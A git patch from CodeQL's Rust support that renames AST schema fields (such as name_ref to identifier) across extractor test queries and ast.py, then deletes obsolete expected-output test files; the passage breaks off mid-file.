hasGenericArgList, string hasIdentifier, string hasReceiver where toBeTested(x) and not x.isUnknown() and @@ -17,8 +17,8 @@ where else hasResolvedCrateOrigin = "no" ) and (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and - (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and + (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and if x.hasReceiver() then hasReceiver = "yes" else hasReceiver = "no" select x, "hasArgList:", hasArgList, "getNumberOfAttrs:", getNumberOfAttrs, "hasResolvedPath:", hasResolvedPath, "hasResolvedCrateOrigin:", hasResolvedCrateOrigin, "hasGenericArgList:", - hasGenericArgList, "hasNameRef:", hasNameRef, "hasReceiver:", hasReceiver + hasGenericArgList, "hasIdentifier:", hasIdentifier, "hasReceiver:", hasReceiver diff --git a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql similarity index 84% rename from rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql index 358d9e3daa7..f14399765d8 100644 --- a/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from MethodCallExpr x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql b/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql index f516add315c..5bfa26039b1 100644 --- a/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql +++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment.ql @@ -3,13 +3,13 @@ import codeql.rust.elements import TestUtils from - PathSegment x, string hasGenericArgList, string hasNameRef, string hasParenthesizedArgList, + PathSegment x, string hasGenericArgList, string hasIdentifier, string hasParenthesizedArgList, string hasRetType, string hasReturnTypeSyntax, string hasTypeRepr, string hasTraitTypeRepr where toBeTested(x) and not x.isUnknown() and (if x.hasGenericArgList() then hasGenericArgList = "yes" else hasGenericArgList = "no") and - (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and + (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and ( if x.hasParenthesizedArgList() then hasParenthesizedArgList = "yes" @@ -19,7 +19,7 @@ where (if x.hasReturnTypeSyntax() then hasReturnTypeSyntax = "yes" else hasReturnTypeSyntax = "no") and (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasTraitTypeRepr() then hasTraitTypeRepr = "yes" else hasTraitTypeRepr = "no" -select x, "hasGenericArgList:", hasGenericArgList, "hasNameRef:", hasNameRef, +select x, "hasGenericArgList:", hasGenericArgList, "hasIdentifier:", hasIdentifier, "hasParenthesizedArgList:", hasParenthesizedArgList, "hasRetType:", hasRetType, "hasReturnTypeSyntax:", hasReturnTypeSyntax, "hasTypeRepr:", hasTypeRepr, "hasTraitTypeRepr:", hasTraitTypeRepr diff --git a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql similarity index 83% rename from rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql index 6a68a4d7bba..23c06cef506 100644 --- a/rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from PathSegment x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql index cfe95f85d9e..3d383af10dc 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql +++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField.ql @@ -2,11 +2,12 @@ import codeql.rust.elements import TestUtils -from StructExprField x, int getNumberOfAttrs, string hasExpr, string hasNameRef +from StructExprField x, int getNumberOfAttrs, string hasExpr, string hasIdentifier where toBeTested(x) and not x.isUnknown() and getNumberOfAttrs = x.getNumberOfAttrs() and (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and - if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no" -select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasNameRef:", hasNameRef + if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no" +select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasIdentifier:", + hasIdentifier diff --git a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.ql b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql similarity index 84% rename from rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql index e5cb63305e7..6d6b06cf3d5 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from StructExprField x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField.ql index d882fa5972c..dfd4327e74c 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField.ql +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.ql @@ -3,15 +3,15 @@ import codeql.rust.elements import TestUtils from - StructField x, int getNumberOfAttrs, string hasExpr, string hasName, string hasTypeRepr, + StructField x, int getNumberOfAttrs, string hasDefault, string hasName, string hasTypeRepr, string hasVisibility where toBeTested(x) and not x.isUnknown() and getNumberOfAttrs = x.getNumberOfAttrs() and - (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + (if x.hasDefault() then hasDefault = "yes" else hasDefault = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and (if x.hasTypeRepr() then hasTypeRepr = "yes" else hasTypeRepr = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" -select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasName:", hasName, +select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasDefault:", hasDefault, "hasName:", hasName, "hasTypeRepr:", hasTypeRepr, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.ql b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql similarity index 85% rename from rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.ql rename to rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql index 935e705bf63..dbdd22c00e0 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.ql +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getDefault.ql @@ -4,4 +4,4 @@ import TestUtils from StructField x where toBeTested(x) and not x.isUnknown() -select x, x.getExpr() +select x, x.getDefault() diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql index f298a46d772..a68d2b52614 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql +++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField.ql @@ -2,11 +2,11 @@ import codeql.rust.elements import TestUtils -from StructPatField x, int getNumberOfAttrs, string hasNameRef, string hasPat +from StructPatField x, int getNumberOfAttrs, string hasIdentifier, string hasPat where toBeTested(x) and not x.isUnknown() and getNumberOfAttrs = x.getNumberOfAttrs() and - (if x.hasNameRef() then hasNameRef = "yes" else hasNameRef = "no") and + (if x.hasIdentifier() then hasIdentifier = "yes" else hasIdentifier = "no") and if x.hasPat() then hasPat = "yes" else hasPat = "no" -select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasNameRef:", hasNameRef, "hasPat:", hasPat +select x, "getNumberOfAttrs:", getNumberOfAttrs, "hasIdentifier:", hasIdentifier, "hasPat:", hasPat diff --git a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.ql b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql similarity index 84% rename from rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.ql rename to rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql index 196834a7288..e03a98229b3 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.ql +++ b/rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql @@ -4,4 +4,4 @@ import TestUtils from StructPatField x where toBeTested(x) and not x.isUnknown() -select x, x.getNameRef() +select x, x.getIdentifier() diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql index 92ebcbe55ee..a21c0509978 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql @@ -4,7 +4,7 @@ import TestUtils from Variant x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs, - string hasExpr, string hasFieldList, string hasName, string hasVisibility + string hasDiscriminant, string hasFieldList, string hasName, string hasVisibility where toBeTested(x) and not x.isUnknown() and @@ -15,10 +15,10 @@ where ) and (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and getNumberOfAttrs = x.getNumberOfAttrs() and - (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and + (if x.hasDiscriminant() then hasDiscriminant = "yes" else hasDiscriminant = "no") and (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and (if x.hasName() then hasName = "yes" else hasName = "no") and if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no" select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin, - "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList, - "hasName:", hasName, "hasVisibility:", hasVisibility + "getNumberOfAttrs:", getNumberOfAttrs, "hasDiscriminant:", hasDiscriminant, "hasFieldList:", + hasFieldList, "hasName:", hasName, "hasVisibility:", hasVisibility diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql similarity index 82% rename from rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql rename to rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql index 3836c782dc9..cde11c30887 100644 --- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql +++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql @@ -4,4 +4,4 @@ import TestUtils from Variant x where toBeTested(x) and not x.isUnknown() -select x, x.getExpr() +select x, x.getDiscriminant() diff --git a/rust/schema/ast.py b/rust/schema/ast.py index 3f91cab5835..1f73ccf90f6 100644 --- a/rust/schema/ast.py +++ b/rust/schema/ast.py @@ -97,7 +97,7 @@ class AsmRegOperand(AsmOperand, ): asm_reg_spec: optional["AsmRegSpec"] | child class AsmRegSpec(AstNode, ): - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child class AsmSym(AsmOperand, ): path: optional["Path"] | child @@ -109,7 +109,7 @@ class AssocItemList(AstNode, ): class AssocTypeArg(GenericArg, ): const_arg: optional["ConstArg"] | child generic_arg_list: optional["GenericArgList"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child param_list: optional["ParamList"] | child ret_type: optional["RetTypeRepr"] | child return_type_syntax: optional["ReturnTypeSyntax"] | child @@ -226,7 +226,7 @@ class ExternBlock(Item, ): class ExternCrate(Item, ): attrs: list["Attr"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child rename: optional["Rename"] | child visibility: optional["Visibility"] | child @@ -236,8 +236,8 @@ class ExternItemList(AstNode, ): class FieldExpr(Expr, ): attrs: list["Attr"] | child - expr: optional["Expr"] | child - name_ref: optional["NameRef"] | child + container: optional["Expr"] | child + identifier: optional["NameRef"] | child class Function(AssocItem, ExternItem, Item, ): abi: optional["Abi"] | child @@ -432,7 +432,7 @@ class MethodCallExpr(Expr, ): arg_list: optional["ArgList"] | child attrs: list["Attr"] | child generic_arg_list: optional["GenericArgList"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child receiver: optional["Expr"] | child class Module(Item, ): @@ -493,7 +493,7 @@ class PathPat(Pat, ): class PathSegment(AstNode, ): generic_arg_list: optional["GenericArgList"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child parenthesized_arg_list: optional["ParenthesizedArgList"] | child ret_type: optional["RetTypeRepr"] | child return_type_syntax: optional["ReturnTypeSyntax"] | child @@ -529,7 +529,7 @@ class StructExpr(Expr, ): class StructExprField(AstNode, ): attrs: list["Attr"] | child expr: optional["Expr"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child class StructExprFieldList(AstNode, ): attrs: list["Attr"] | child @@ -538,7 +538,7 @@ class StructExprFieldList(AstNode, ): class StructField(AstNode, ): attrs: list["Attr"] | child - expr: optional["Expr"] | child + default: optional["Expr"] | child name: optional["Name"] | child type_repr: optional["TypeRepr"] | child visibility: optional["Visibility"] | child @@ -552,7 +552,7 @@ class StructPat(Pat, ): class StructPatField(AstNode, ): attrs: list["Attr"] | child - name_ref: optional["NameRef"] | child + identifier: optional["NameRef"] | child pat: optional["Pat"] | child class StructPatFieldList(AstNode, ): @@ -739,7 +739,7 @@ class UseTreeList(AstNode, ): class Variant(VariantDef, ): attrs: list["Attr"] | child - expr: optional["Expr"] | child + discriminant: optional["Expr"] | child field_list: optional["FieldList"] | child name: optional["Name"] | child visibility: optional["Visibility"] | child From b6645045348a252916503a8736a761d58235a493 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Thu, 27 Mar 2025 13:07:46 +0100 Subject: [PATCH 149/282] Rust: remove obsolete expected files --- .../AsmExpr/AsmExpr_getExpr.expected | 1 - .../AssocItemList/AssocItemList.expected | 0 .../AssocItemList_getAssocItem.expected | 0 .../AssocItemList_getAttr.expected | 0 .../AssocTypeArg_getNameRef.expected | 0 .../CallExpr/CallExpr_getExpr.expected | 4 -- .../ExternCrate_getNameRef.expected | 0 .../FieldExpr/FieldExpr_getExpr.expected | 1 - .../FieldExpr/FieldExpr_getNameRef.expected | 1 - .../FormatArgsExpr_getVariable.expected | 5 --- .../Format_getArgument.expected | 13 ------ .../LetExpr/LetExpr_getExpr.expected | 1 - .../CONSISTENCY/AstConsistency.expected | 41 ------------------- .../MatchExpr/MatchExpr_getExpr.expected | 2 - .../MethodCallExpr_getNameRef.expected | 2 - .../Path/PathSegment_getNameRef.expected | 23 ----------- .../Path/PathSegment_getParamList.expected | 0 .../Path/PathSegment_getPathType.expected | 2 - .../generated/Path/PathTypeRef.expected | 8 ---- .../Path/PathTypeRef_getPath.expected | 8 ---- .../generated/RecordExpr/RecordExpr.expected | 4 -- .../RecordExpr/RecordExpr_getPath.expected | 4 -- ...RecordExpr_getRecordExprFieldList.expected | 4 -- ...RecordExpr_getResolvedCrateOrigin.expected | 0 .../RecordExpr_getResolvedPath.expected | 0 .../RecordExprField/RecordExprField.expected | 2 - .../RecordExprField_getAttr.expected | 0 .../RecordExprField_getExpr.expected | 2 - .../RecordExprField_getNameRef.expected | 2 - .../RecordExprFieldList.expected | 0 .../RecordExprFieldList_getAttr.expected | 0 .../RecordExprFieldList_getField.expected | 0 .../RecordExprFieldList_getSpread.expected | 0 .../RecordField/RecordField.expected | 0 .../RecordField/RecordField_getAttr.expected | 0 .../RecordField/RecordField_getExpr.expected | 0 .../RecordField/RecordField_getName.expected | 0 .../RecordField_getTypeRepr.expected | 0 .../RecordField_getVisibility.expected | 0 .../generated/RecordPat/RecordPat.expected | 2 - .../RecordPat/RecordPat_getPath.expected | 2 - .../RecordPat_getRecordPatFieldList.expected | 2 - .../RecordPat_getResolvedCrateOrigin.expected | 0 .../RecordPat_getResolvedPath.expected | 0 .../RecordPatField/RecordPatField.expected | 2 - .../RecordPatField_getAttr.expected | 0 .../RecordPatField_getNameRef.expected | 2 - .../RecordPatField_getPat.expected | 2 - .../RecordPatFieldList.expected | 0 .../RecordPatFieldList_getField.expected | 0 .../RecordPatFieldList_getRestPat.expected | 0 .../StructExprField_getNameRef.expected | 2 - .../StructField/StructField_getExpr.expected | 0 .../StructPatField_getNameRef.expected | 2 - .../TypeBound_getGenericParamList.expected | 0 .../Union/Union_getRecordFieldList.expected | 0 .../Variant/Variant_getExpr.expected | 0 57 files changed, 146 deletions(-) delete mode 100644 rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAssocItem.expected delete mode 100644 rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAttr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected delete mode 100644 rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected delete mode 100644 rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected delete mode 100644 rust/ql/test/extractor-tests/generated/MatchExpr/MatchExpr_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Path/PathSegment_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Path/PathSegment_getParamList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Path/PathSegment_getPathType.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Path/PathTypeRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Path/PathTypeRef_getPath.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getPath.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getRecordExprFieldList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedCrateOrigin.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExpr/RecordExpr_getResolvedPath.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getAttr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprField/RecordExprField_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getAttr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getField.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField_getAttr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField_getName.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField_getTypeRepr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordField/RecordField_getVisibility.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPat/RecordPat.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getPath.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getRecordPatFieldList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedCrateOrigin.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPat/RecordPat_getResolvedPath.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getAttr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatField/RecordPatField_getPat.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getField.expected delete mode 100644 rust/ql/test/extractor-tests/generated/RecordPatFieldList/RecordPatFieldList_getRestPat.expected delete mode 100644 rust/ql/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/StructField/StructField_getExpr.expected delete mode 100644 rust/ql/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.expected delete mode 100644 rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getGenericParamList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Union/Union_getRecordFieldList.expected delete mode 100644 rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.expected diff --git a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected deleted file mode 100644 index 07aec8f5fe0..00000000000 --- a/rust/ql/test/extractor-tests/generated/AsmExpr/AsmExpr_getExpr.expected +++ /dev/null @@ -1 +0,0 @@ -| gen_asm_expr.rs:6:9:6:24 | AsmExpr | gen_asm_expr.rs:6:23:6:23 | _ | diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList.expected b/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAssocItem.expected b/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAssocItem.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAttr.expected b/rust/ql/test/extractor-tests/generated/AssocItemList/AssocItemList_getAttr.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.expected b/rust/ql/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected deleted file mode 100644 index ecaaf15cebb..00000000000 --- a/rust/ql/test/extractor-tests/generated/CallExpr/CallExpr_getExpr.expected +++ /dev/null @@ -1,4 +0,0 @@ -| gen_call_expr.rs:5:5:5:11 | foo(...) | gen_call_expr.rs:5:5:5:7 | foo | -| gen_call_expr.rs:6:5:6:23 | foo::<...>(...) | gen_call_expr.rs:6:5:6:19 | foo::<...> | -| gen_call_expr.rs:7:5:7:14 | ...(...) | gen_call_expr.rs:7:5:7:10 | foo[0] | -| gen_call_expr.rs:8:5:8:10 | foo(...) | gen_call_expr.rs:8:5:8:7 | foo | diff --git a/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.expected b/rust/ql/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.expected deleted file mode 100644 index e69de29bb2d..00000000000 diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected deleted file mode 100644 index 7d21f7f7af8..00000000000 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.expected +++ /dev/null @@ -1 +0,0 @@ -| gen_field_expr.rs:5:5:5:9 | x.foo | gen_field_expr.rs:5:5:5:5 | x | diff --git a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected b/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected deleted file mode 100644 index 0722ca1aaf2..00000000000 --- a/rust/ql/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.expected +++ /dev/null @@ -1 +0,0 @@ -| gen_field_expr.rs:5:5:5:9 | x.foo | gen_field_expr.rs:5:7:5:9 | foo | diff --git a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected b/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected deleted file mode 100644 index dca240710f7..00000000000 --- a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/FormatArgsExpr_getVariable.expected +++ /dev/null @@ -1,5 +0,0 @@ -| gen_format_args_expr.rs:9:17:9:28 | FormatArgsExpr | 1 | gen_format_args_expr.rs:9:20:9:20 | x | -| gen_format_args_expr.rs:9:17:9:28 | FormatArgsExpr | 3 | gen_format_args_expr.rs:9:25:9:25 | y | -| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:22:5:26 | value | -| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:29:5:33 | width | -| gen_format_argument.rs:5:14:5:47 | FormatArgsExpr | 1 | gen_format_argument.rs:5:36:5:44 | precision | diff --git a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected b/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected deleted file mode 100644 index 8bd957fa8df..00000000000 --- a/rust/ql/test/extractor-tests/generated/FormatArgsExpr/Format_getArgument.expected +++ /dev/null @@ -1,13 +0,0 @@ -| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 0 | gen_format.rs:7:22:7:26 | value | -| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 1 | gen_format.rs:7:29:7:33 | width | -| gen_format.rs:7:21:7:46 | {value:#width$.precision$} | 2 | gen_format.rs:7:36:7:44 | precision | -| gen_format_args_expr.rs:7:19:7:21 | {b} | 0 | gen_format_args_expr.rs:7:20:7:20 | b | -| gen_format_args_expr.rs:7:27:7:31 | {a:?} | 0 | gen_format_args_expr.rs:7:28:7:28 | a | -| gen_format_args_expr.rs:9:19:9:21 | {x} | 0 | gen_format_args_expr.rs:9:20:9:20 | x | -| gen_format_args_expr.rs:9:24:9:26 | {y} | 0 | gen_format_args_expr.rs:9:25:9:25 | y | -| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 0 | gen_format_argument.rs:5:22:5:26 | value | -| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 1 | gen_format_argument.rs:5:29:5:33 | width | -| gen_format_argument.rs:5:21:5:46 | {value:#width$.precision$} | 2 | gen_format_argument.rs:5:36:5:44 | precision | -| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 0 | gen_format_argument.rs:7:22:7:22 | 0 | -| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 1 | gen_format_argument.rs:7:25:7:25 | 1 | -| gen_format_argument.rs:7:21:7:30 | {0:#1$.2$} | 2 | gen_format_argument.rs:7:28:7:28 | 2 | diff --git a/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected deleted file mode 100644 index 0080ab4ee6e..00000000000 --- a/rust/ql/test/extractor-tests/generated/LetExpr/LetExpr_getExpr.expected +++ /dev/null @@ -1 +0,0 @@ -| gen_let_expr.rs:5:8:5:31 | let ... = maybe_some | gen_let_expr.rs:5:22:5:31 | maybe_some | diff --git a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected b/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected deleted file mode 100644 index 1e47287a293..00000000000 --- a/rust/ql/test/extractor-tests/generated/MacroItems/CONSISTENCY/AstConsistency.expected +++ /dev/null @@ -1,41 +0,0 @@ -noLocation -| file://:0:0:0:0 | ... .unwrap(...) | -| file://:0:0:0:0 | ...: ... | -| file://:0:0:0:0 | ...::Path | -| file://:0:0:0:0 | ...::Path | -| file://:0:0:0:0 | ...::path | -| file://:0:0:0:0 | ArgList | -| file://:0:0:0:0 | ArgList | 